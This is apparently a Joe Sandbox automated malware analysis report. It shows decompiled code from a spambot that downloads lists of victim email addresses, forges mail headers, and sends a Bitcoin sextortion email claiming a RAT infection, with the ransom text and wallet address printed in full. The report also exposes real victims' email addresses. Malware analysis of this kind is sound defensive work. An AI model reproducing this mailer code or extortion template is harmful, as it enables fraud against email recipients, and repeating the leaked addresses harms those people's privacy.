0x00c71956
0x00c71958
0x00c7196a
0x00c71972
0x00000000
0x00000000
0x00c7198d
0x00c7198d
0x00c71999
0x00c71999
0x00c7199f
0x00c71934
0x00c719bd
0x00c719bd
0x00c719c7
0x00c719d5

APIs

memset.MSVCR90 ref: 00C718E2
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000001,00000000,00000000,00000000), ref: 00C718F7
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00C7191A
CreateFileW.KERNELBASE(00C724B7,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00C71949
InternetReadFile.WININET(00000000,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,000003FF,00C724B7), ref: 00C7196A
WriteFile.KERNELBASE(000000FF,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,00000000,00000000,00000000), ref: 00C7198D
CloseHandle.KERNEL32(000000FF), ref: 00C71999
InternetReadFile.WININET(00000000,oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b,000003FF,00C724B7), ref: 00C719B3
InternetCloseHandle.WININET(00000000), ref: 00C719BD
InternetCloseHandle.WININET(00000000), ref: 00C719C7

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00C718F2
oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b, xrefs: 00C718DD, 00C71961, 00C71984, 00C719AA, 00C719CD

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: Internet$File$CloseHandle$OpenRead$CreateWritememset
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$oi@datto.comnsk1235@gmail.comnitin.kulkarni@tcs.com4eyezed@gmail.commatthew.johnston@teck.comlguilbeault@flynn.canick_mckay_89@hotmail.combruno.bietola@myunited.caerwanjezeque@gmail.comerwan.jezequel@apcurium.comjleitch@deltasd.bc.cajanine@deltasd.b
API String ID: 4022733741-421118396
Opcode ID: c473fd60d262934e998111f488cc8ac8504d36c449d950eacd6183cce432adfa
Instruction ID: 4e821405a00f12c10cb1e0dc407ad9589192902d2b7044865b6f8be1c3de54c9
Opcode Fuzzy Hash: c473fd60d262934e998111f488cc8ac8504d36c449d950eacd6183cce432adfa
Instruction Fuzzy Hash: 0E3141B4A40309FFDB14DBA4DC5AFAE7B78AB44700F248114F7197A1D0D7B0AA80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C72280 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74
stringthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00C72280() {
				char _v268;
				char _v532;
				struct _IO_FILE* _v536;
				long _v540;
				signed char _v544;
				int _t18;
				char* _t26;
				signed char _t28;
				void* _t38;
				void* _t40;
				signed long long _t48;

				_t18 = GetTickCount();
				srand(_t18);
				_push("r");
				_push("C:\Users\Alvin\AppData\Local\Temp\30681637933354.jpg"); // executed
				L00C727F0(); // executed
				_t40 = _t38 + 0xc;
				_v536 = _t18;
				if(_v536 == 0) {
					L7:
					E00C71400( &_v532);
					if(E00C718B0( &_v532, "@") != 0 && E00C718B0( &_v532, ".") != 0) {
						_push(0xc7442e);
						E00C719E0( &_v532); // executed
					}
					ExitThread(0);
				}
				_v540 = 0;
				while(1) {
					_t26 = fgets( &_v268, 0x104, _v536); // executed
					_t40 = _t40 + 0xc;
					if(_t26 == 0) {
						break;
					}
					_v540 = _v540 + 1;
					_t28 = rand();
					_v544 = _t28;
					asm("fild dword [ebp-0x21c]");
					_t48 = _t48 /  *0xc74d00;
					asm("fild dword [ebp-0x218]");
					asm("fld1");
					asm("fdivrp st1, st0");
					asm("fcompp");
					asm("fnstsw ax");
					if((_t28 & 0x00000001) == 0) {
						strcpy( &_v532,  &_v268);
						_t40 = _t40 + 8;
					}
				}
				fclose(_v536); // executed
				_t40 = _t40 + 4;
				goto L7;
			}

0x00c72289
0x00c72290
0x00c72298
0x00c7229d
0x00c722a2
0x00c722a7
0x00c722aa
0x00c722b7
0x00c72346
0x00c7234d
0x00c7236b
0x00c72385
0x00c72391
0x00c72396
0x00c7239b
0x00c7239b
0x00c722bd
0x00c722c7
0x00c722da
0x00c722df
0x00c722e4
0x00000000
0x00000000
0x00c722ef
0x00c722f5
0x00c722fa
0x00c72300
0x00c72306
0x00c7230c
0x00c72312
0x00c72314
0x00c72316
0x00c72318
0x00c7231d
0x00c7232d
0x00c72332
0x00c72332
0x00c72335
0x00c7233e
0x00c72343
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00C72289
srand.MSVCR90 ref: 00C72290
_wfopen.MSVCR90 ref: 00C722A2
fgets.MSVCR90 ref: 00C722DA
rand.MSVCR90 ref: 00C722F5
strcpy.MSVCR90(?,?), ref: 00C7232D
fclose.MSVCR90 ref: 00C7233E
ExitThread.KERNEL32 ref: 00C7239B

Strings

C:\Users\user\AppData\Local\Temp\30681637933354.jpg, xrefs: 00C7229D

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: CountExitThreadTick_wfopenfclosefgetsrandsrandstrcpy
String ID: C:\Users\user\AppData\Local\Temp\30681637933354.jpg
API String ID: 3964472883-2636785695
Opcode ID: f7b3816d939dd31371262944e4c92b89f1dbee165d5cd3cbed73af63198c2d51
Instruction ID: 16a1e79f2653f704dcc7f25b669e1cf4204c2a516058aaa8969d33126edc8eb9
Opcode Fuzzy Hash: f7b3816d939dd31371262944e4c92b89f1dbee165d5cd3cbed73af63198c2d51
Instruction Fuzzy Hash: F321D6B5D8021C57CB28E760ED8ABDD733CAB20306F0485E4E51CA1151EB749BC4DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C71B2D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrA.SHLWAPI(?), ref: 00C71B34
wsprintfA.USER32 ref: 00C71B4F
wsprintfA.USER32 ref: 00C71B71
shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

EHLO %s, xrefs: 00C71B43
HELO %s, xrefs: 00C71B65
[102.129.143.97], xrefs: 00C71B3E, 00C71B60

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: wsprintf$closesocketshutdown
String ID: EHLO %s$HELO %s$[102.129.143.97]
API String ID: 4205972133-681149705
Opcode ID: 1c702b13142a008f669aed2bb51fcfa4dbf79da3f11c08431b4871f3a7c9b9a8
Instruction ID: 3c7dee5d58163e30fa3cf40ecbd93f104806640c4a3fdc464997e6bb3c7ec81d
Opcode Fuzzy Hash: 1c702b13142a008f669aed2bb51fcfa4dbf79da3f11c08431b4871f3a7c9b9a8
Instruction Fuzzy Hash: B3216FB1D00218DFCF14DBA5DC49BEEB7B8BB48354F04C1A9EA0DB2141E7749694CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00C71BB6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00C71BB6(void* __eflags) {
				void* _t170;
				intOrPtr _t174;
				void* _t175;
				void* _t200;
				void* _t202;
				void* _t205;
				void* _t207;

				L0:
				while(1) {
					L0:
					wsprintfA(_t200 - 0x88, "<%s>",  *((intOrPtr*)(_t200 + 8)));
					 *((intOrPtr*)(_t200 - 0x498)) = wsprintfA(_t200 - 0x490, "MAIL FROM: %s\r\n", _t200 - 0x88);
					_t170 = E00C71120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *((intOrPtr*)(_t200 - 0x498))); // executed
					_t205 = _t202 + 0x24;
					if(_t170 != 0) {
						 *(_t200 - 0x20) = 4;
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t200 - 0x20) != 0 &&  *(_t200 - 0x20) != 8) {
						_t174 = E00C71160( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490, 0x400); // executed
						_t207 = _t205 + 0xc;
						 *((intOrPtr*)(_t200 - 0x90)) = _t174;
						if( *((intOrPtr*)(_t200 - 0x90)) != 0) {
							L5:
							 *((char*)(_t200 +  *((intOrPtr*)(_t200 - 0x90)) - 0x490)) = 0;
							_t175 = E00C711C0(_t200 - 0x490);
							_t205 = _t207 + 4;
							if(_t175 != 0) {
								L7:
								 *(_t200 - 0x718) =  *(_t200 - 0x20);
								 *(_t200 - 0x718) =  *(_t200 - 0x718) - 1;
								if( *(_t200 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t200 - 0x718) * 4 +  &M00C7223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t200 - 0x490) == 0) {
											_t179 = wsprintfA(_t200 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t179;
										} else {
											_t182 = wsprintfA(_t200 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t208 = _t205 + 0xc;
											 *(_t200 - 0x494) = _t182;
										}
										_t181 = E00C71120( *((intOrPtr*)(_t200 - 0x1c)), _t200 - 0x490,  *(_t200 - 0x494)); // executed
										_t205 = _t208 + 0xc;
										if(_t181 != 0) {
											 *(_t200 - 0x20) = 3;
										} else {
											 *(_t200 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										goto L0;
									case 3:
										L18:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L21:
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L24:
										__ecx = __ebp - 0x61c;
										E00C71320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00C71490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00C71490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t57 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t61 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t65 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t69 = __eax % 0xd2;
										E00C71390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t69 + 1, _t65 + 1, _t61 + 1, _t57 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00C71320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00C71320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00C71320(__ecx, 6, __ecx) = E00C71320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E00C71120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00C71120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E00C71120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00C71120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00C71120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t200 - 8) = 0 |  *(_t200 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t200 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t200 - 0x1c))); // executed
					return  *(_t200 - 8);
				}
			}

0x00c71bb6
0x00c71bb6
0x00c71bb6
0x00c71bc6
0x00c71beb
0x00c71c03
0x00c71c08
0x00c71c0d
0x00c71c1b
0x00c71c0f
0x00c71c0f
0x00c71c0f
0x00000000
0x00c7220c
0x00c71ab4
0x00c71ab9
0x00c71abc
0x00c71ac9
0x00c71ad0
0x00c71ad6
0x00c71ae5
0x00c71aea
0x00c71aef
0x00c71af6
0x00c71af9
0x00c71b08
0x00c71b15
0x00000000
0x00000000
0x00c71b1b
0x00c71b21
0x00000000
0x00c71b28
0x00c71b28
0x00c71b3c
0x00c71b71
0x00c71b77
0x00c71b7a
0x00c71b3e
0x00c71b4f
0x00c71b55
0x00c71b58
0x00c71b58
0x00c71b92
0x00c71b97
0x00c71b9c
0x00c71baa
0x00c71b9e
0x00c71b9e
0x00c71b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00c71c27
0x00c71c27
0x00c71c37
0x00c71c3d
0x00c71c40
0x00c71c46
0x00c71c4d
0x00c71c58
0x00c71c62
0x00c71c70
0x00c71c64
0x00c71c64
0x00c71c64
0x00000000
0x00000000
0x00c71c7c
0x00c71c83
0x00c71c87
0x00c71c91
0x00c71c9f
0x00c71c93
0x00c71c93
0x00c71c93
0x00000000
0x00000000
0x00c71cab
0x00c71cab
0x00c71cc9
0x00c71ccf
0x00c71cdd
0x00c71cea
0x00c71cf2
0x00c71cfb
0x00c71d0a
0x00c71d11
0x00c71d16
0x00c71d17
0x00c71d1c
0x00c71d1c
0x00c71d22
0x00c71d27
0x00c71d28
0x00c71d2d
0x00c71d2d
0x00c71d33
0x00c71d38
0x00c71d39
0x00c71d3e
0x00c71d3e
0x00c71d44
0x00c71d49
0x00c71d4a
0x00c71d4f
0x00c71d6c
0x00c71d73
0x00c71d79
0x00c71d7c
0x00c71d82
0x00c71d90
0x00c71d94
0x00c71d9e
0x00c71dac
0x00c71dc5
0x00c71dce
0x00c71ddc
0x00c71de3
0x00c71de9
0x00c71dec
0x00c71df9
0x00c71e00
0x00c71e04
0x00c71e0e
0x00c71e25
0x00c71e2c
0x00c71e32
0x00c71e35
0x00c71e3b
0x00c71e49
0x00c71e57
0x00c71e65
0x00c71e75
0x00c71e7b
0x00c71e7e
0x00c71e84
0x00c71e8b
0x00c71ea0
0x00c71eb8
0x00c71ebf
0x00c71ec5
0x00c71ec8
0x00c71ece
0x00c71edc
0x00c71eea
0x00c71ef8
0x00c71f0b
0x00c71f11
0x00c71f14
0x00c71f1a
0x00c71f21
0x00c71f36
0x00c71f44
0x00c71f4b
0x00c71f66
0x00c71f74
0x00c71f7b
0x00c71f81
0x00c71f84
0x00c71f8a
0x00c71f98
0x00c71fa6
0x00c71fbb
0x00c71fc9
0x00c71fec
0x00c72008
0x00c72015
0x00c72030
0x00c72044
0x00c72051
0x00c72080
0x00c7208d
0x00c720bc
0x00c720c9
0x00c720e1
0x00c720ef
0x00c72104
0x00c7211f
0x00c72133
0x00c72140
0x00c7216f
0x00c7217c
0x00c721ab
0x00c721b8
0x00c721d0
0x00c721de
0x00c721e9
0x00c721e0
0x00c721e0
0x00c721e0
0x00c720f1
0x00c720f1
0x00c720f1
0x00c71fee
0x00c71fee
0x00c71fee
0x00c71fcb
0x00c71fcb
0x00c71fcb
0x00c71fa8
0x00c71fa8
0x00c71fa8
0x00c71f38
0x00c71f38
0x00c71f38
0x00c71eec
0x00c71eec
0x00c71eec
0x00c71ea2
0x00c71ea2
0x00c71ea2
0x00c71e59
0x00c71e59
0x00c71e59
0x00c71e10
0x00c71e10
0x00c71e10
0x00c71da0
0x00c71da0
0x00c71da0
0x00000000
0x00000000
0x00c721f2
0x00c721f9
0x00c721fd
0x00c72205
0x00000000
0x00000000
0x00c71af1
0x00000000
0x00c71af1
0x00c71acb
0x00000000
0x00c71acb
0x00c71ac9
0x00c72211
0x00c7221a
0x00c72223
0x00c7222d
0x00c72239
0x00c72239

APIs

wsprintfA.USER32 ref: 00C71BC6
wsprintfA.USER32 ref: 00C71BE2

Part of subcall function 00C71120: lstrlenA.KERNEL32(?), ref: 00C7112D
Part of subcall function 00C71120: send.WS2_32(?,?,000000FF,00000000), ref: 00C71144

shutdown.WS2_32(000000FF,00000002), ref: 00C72223
closesocket.WS2_32(000000FF), ref: 00C7222D

Strings

<%s>, xrefs: 00C71BBA
MAIL FROM: %s, xrefs: 00C71BD6

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: wsprintf$closesocketlstrlensendshutdown
String ID: <%s>$MAIL FROM: %s
API String ID: 1146405-791590210
Opcode ID: 7650c4692797582d812fab4dee4814053aff6f6ac165ea52b522b05bad1e6d0f
Instruction ID: c5856cc0882f66dcd15a0134e3e2621209e6a4114b962b15d27debe3738a427a
Opcode Fuzzy Hash: 7650c4692797582d812fab4dee4814053aff6f6ac165ea52b522b05bad1e6d0f
Instruction Fuzzy Hash: 12215CB1D00218DFCF14DB98DC49BEEB778BB48304F0481A8EA1DA7141E7788A84CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00C71760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E00C71760() {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _t12;
				intOrPtr _t14;

				_v8 = 0;
				_push(0);
				_t12 =  &_v8;
				_push(_t12);
				_push(0);
				_push(0);
				_push(0xf);
				_push("yahoo.com"); // executed
				L00C7307A(); // executed
				_v12 = _t12;
				if(_v12 != 0) {
					L3:
					_push(1);
					_push(_v8);
					L00C73074();
					return 0;
				}
				_t14 = E00C716E0( *((intOrPtr*)(_v8 + 0x18)), 0x19); // executed
				_v16 = _t14;
				if(_v16 <= 0) {
					goto L3;
				}
				L00C73074();
				__imp__#3(_v16, _v8, 1); // executed
				return 1;
			}

0x00c71766
0x00c7176d
0x00c7176f
0x00c71772
0x00c71773
0x00c71775
0x00c71777
0x00c71779
0x00c7177e
0x00c71783
0x00c7178a
0x00c717bf
0x00c717bf
0x00c717c4
0x00c717c5
0x00000000
0x00c717ca
0x00c71795
0x00c7179d
0x00c717a4
0x00000000
0x00000000
0x00c717ac
0x00c717b5
0x00000000

APIs

DnsQuery_A.DNSAPI(yahoo.com,0000000F,00000000,00000000,00000000,00000000), ref: 00C7177E
DnsFree.DNSAPI(00000000,00000001), ref: 00C717AC
closesocket.WS2_32(00000000), ref: 00C717B5
DnsFree.DNSAPI(00000000,00000001), ref: 00C717C5

Strings

yahoo.com, xrefs: 00C71779

Memory Dump Source

Source File: 0000000A.00000002.2485576792.0000000000C71000.00000020.00000001.01000000.00000008.sdmp, Offset: 00C70000, based on PE: true

Associated: 0000000A.00000002.2485529967.0000000000C70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485627588.0000000000C74000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485672079.0000000000C76000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2485716822.0000000000C78000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c70000_22195367.jbxd

Similarity

API ID: Free$Query_closesocket
String ID: yahoo.com
API String ID: 1946217314-667638125
Opcode ID: 08f87ac8c2ed7322ab7d6ec38dd33e3a3b0fff369e94f81c6c06668f12220e90
Instruction ID: aac180db1d1b931e75c02ffb23df77eaf527cfb6c71e8e1efd001c9cacb09cc0
Opcode Fuzzy Hash: 08f87ac8c2ed7322ab7d6ec38dd33e3a3b0fff369e94f81c6c06668f12220e90
Instruction Fuzzy Hash: 94016D74E40208FBDB14EBE0C846B9DBB78AB04B04F208194FA086B282D7B59B45AB50

Uniqueness

Uniqueness Score: -1.00%

Function 00C719E0 Relevance: 7.6, APIs: 5, Instructions: 99
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00C719E0(int _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v28;
				char* _v32;
				int _v36;
				char _v140;
				char _v144;
				intOrPtr _v148;
				char _v1172;
				int _v1176;
				int _v1180;
				int _v1184;
				char _v1292;
				char _v1556;
				char _v1568;
				char _v1580;
